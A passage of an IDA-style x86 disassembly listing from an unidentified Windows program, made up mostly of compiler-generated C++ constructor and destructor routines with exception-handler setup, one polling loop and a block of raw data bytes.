[esp+14h+var_4], 24h call sub_401AE6 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_401AE6 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_401AE6 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_401AE6 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_401AE6 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_401AE6 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_401AE6 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_401AE6 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_401AE6 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_401AE6 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_401AE6 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_401AE6 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_401AE6 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_401AE6 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_401AE6 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_401AE6 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_401AE6 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_401AE6 lea ecx, [esi+574h] mov byte ptr [esp+14h+var_4], 12h call sub_401AE6 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_401AE6 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_401AE6 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_401AE6 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_401AE6 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_401AE6 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_401AE6 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_401AE6 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_401AE6 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_401AE6 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_401AE6 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_401AE6 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_401AE6 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_401AE6 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_401AE6 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_401AE6 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_401AE6 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_401AE6 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_401AE6 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AE6 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417120 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417640 proc near ; CODE XREF: sub_4014FBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417640 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417640 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176E0 proc near ; CODE XREF: sub_401EA1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4176E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4176E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4177B0 proc near ; CODE XREF: sub_401235j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4177B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8D0C0h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+8D036h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+8D008h] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4177B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417870 proc near ; CODE XREF: sub_402239j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417870 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417870 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417930 proc near ; CODE XREF: sub_401ECEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417930 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417930 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4179F0 proc near ; CODE XREF: sub_4018D9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4179F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4179F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A60 proc near ; CODE XREF: sub_4017DAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417A60 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AD0 proc near ; CODE XREF: sub_401B3Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417AD0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417AD0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B40 proc near ; CODE XREF: sub_401F46j add ecx, 4 jmp sub_401023 sub_417B40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B60 proc near ; CODE XREF: sub_401113j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417B60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417B60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417BE0 proc near ; CODE XREF: sub_401E06j add ecx, 4 jmp sub_401023 sub_417BE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C00 proc near ; CODE XREF: sub_402013j add ecx, 4 jmp sub_401023 sub_417C00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C20 proc near ; CODE XREF: sub_401F00j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417C20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417C20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417CC0 proc near ; CODE XREF: sub_401587j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417CC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417D60 proc near ; CODE XREF: sub_40164Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417D60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F07C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417D60 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E30 proc near ; CODE XREF: sub_401780j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417E30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+8D008h] call sub_401753 lea ecx, [esi+8D036h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+8D0C0h] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F080 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417E30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417EF0 proc near ; CODE XREF: sub_40182Fj push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F050 mov eax, esi pop esi retn sub_417EF0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F20 proc near ; CODE XREF: sub_4016BDj push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F05C mov eax, esi pop esi retn sub_417F20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F50 proc near ; CODE XREF: sub_40141Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417F50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F084 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417F50 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418010 proc near ; CODE XREF: sub_401302j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418010 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F088 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418010 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4180D0 proc near ; CODE XREF: sub_401271j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4180D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F08C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4180D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418150 proc near ; CODE XREF: sub_401D25j push esi mov esi, ecx call sub_4011B3 mov dword ptr [esi], offset off_43F090 mov eax, esi pop esi retn sub_418150 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418180 proc near ; CODE XREF: sub_4012FDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418180 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F094 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418180 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418200 proc near ; CODE XREF: sub_401A91j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418200 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F098 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418200 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418280 proc near ; CODE XREF: sub_401285j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F09C mov eax, esi pop esi retn sub_418280 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4182B0 proc near ; CODE XREF: sub_401CB7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4182B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0A0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4182B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418330 proc near ; CODE XREF: sub_40157Dj push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F0A4 mov eax, esi pop esi retn sub_418330 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418360 proc near ; CODE XREF: sub_401799j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F0A8 mov eax, esi pop esi retn sub_418360 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418390 proc near ; CODE XREF: sub_401073j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418390 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0AC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418390 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418430 proc near ; CODE XREF: sub_401267j var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, dword_5118D8 push esi mov esi, ecx push edi xor bl, bl mov byte ptr [esi+9FD2Ch], 1 loc_418448: ; CODE XREF: sub_418430+E4j test bl, bl jnz loc_41851E mov al, [esi+8EF74h] test al, al jnz short loc_41845E mov bl, 1 jmp short loc_418472 ; --------------------------------------------------------------------------- loc_41845E: ; CODE XREF: sub_418430+28j lea ecx, [esi+15Fh] call sub_40186B test al, al setz bl test bl, bl jz short loc_418479 loc_418472: ; CODE XREF: sub_418430+2Cj mov byte ptr [esi+9FD2Ch], 0 loc_418479: ; CODE XREF: sub_418430+40j lea ecx, [esp+1Ch+var_C] call sub_4020A4 lea edi, [esi+9FD83h] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_401F69 mov ecx, [eax] lea edx, [esp+1Ch+var_8] mov [esp+1Ch+var_C], ecx push edx mov ecx, edi call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_401703 test al, al jz short loc_4184FE loc_4184B4: ; CODE XREF: sub_418430+CCj lea ecx, [esp+1Ch+var_C] call sub_402234 mov ecx, [eax] call sub_40174E lea ecx, [esp+1Ch+var_C] call sub_402234 mov eax, [eax] test eax, eax jz short loc_4184DB mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_4184DB: ; CODE XREF: sub_418430+A1j lea ecx, [esp+1Ch+var_C] call sub_401361 lea eax, [esp+1Ch+var_8] mov ecx, edi push eax call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_401703 test al, al jnz short loc_4184B4 loc_4184FE: ; CODE XREF: sub_418430+82j mov ecx, edi call sub_4010B9 push 0FAh call ebp mov al, [esi+9FD2Ch] test al, al jnz loc_418448 test bl, bl jz short loc_41852B loc_41851E: ; CODE XREF: sub_418430+1Aj pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41852B: ; CODE XREF: sub_418430+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_418430 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418590 proc near ; CODE XREF: sub_401771j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_418590 push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ecx, offset byte_4E8EAB mov byte ptr [esi+9FD2Ch], 1 call sub_4010B9 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_4185D0 push eax jmp short loc_4185D5 ; --------------------------------------------------------------------------- loc_4185D0: ; CODE XREF: sub_418590+3Bj push offset byte_448F40 loc_4185D5: ; CODE XREF: sub_418590+3Ej lea ecx, [esi+9FD57h] call sub_4015E1 mov edi, [esp+1C4h+arg_0] test edi, edi jz short loc_4185EE push edi jmp short loc_4185F3 ; --------------------------------------------------------------------------- loc_4185EE: ; CODE XREF: sub_418590+59j push offset byte_448F40 loc_4185F3: ; CODE XREF: sub_418590+5Cj lea ecx, [esi+9FD6Ch] call sub_4015E1 push edi lea ecx, [esi+3Eh] call sub_401384 sub_418590 endp ; --------------------------------------------------------------------------- db 8Ah dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE936BE8h dd 244C8DFFh, 2685128h, 0E8000002h, 7169E021h, 8E92E890h dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh dd 68005118h, 3E8h, 0CF8BD3FFh, 0FE8BB3E8h, 3E868FFh, 0D3FF0000h dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh, 868AFFFEh dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh dd 0E8006A08h, 7782175Eh, 97E4E890h, 8E8DFFFEh, 168h, 0FE90BDE8h dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh dd 84C70009h, 1C424h, 0 dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch dd 8F2478Eh, 8C5CE800h, 8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh dd 9FA138Eh, 8F50E800h, 8E8DFFFEh, 8F3A2h, 0FE9A49E8h dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h dd 9FC428Eh, 97A7E800h, 0CF8BFFFEh, 0FE886EE8h, 0BF8E8DFFh dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h dd 9FAD38Eh, 9720E800h, 8E8DFFFEh, 9FB93h, 0FE916BE8h dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 90FFFE92h, 69BBE3E8h dd 42468A71h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- locret_418940: ; CODE XREF: ___:00402225j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418960: ; CODE 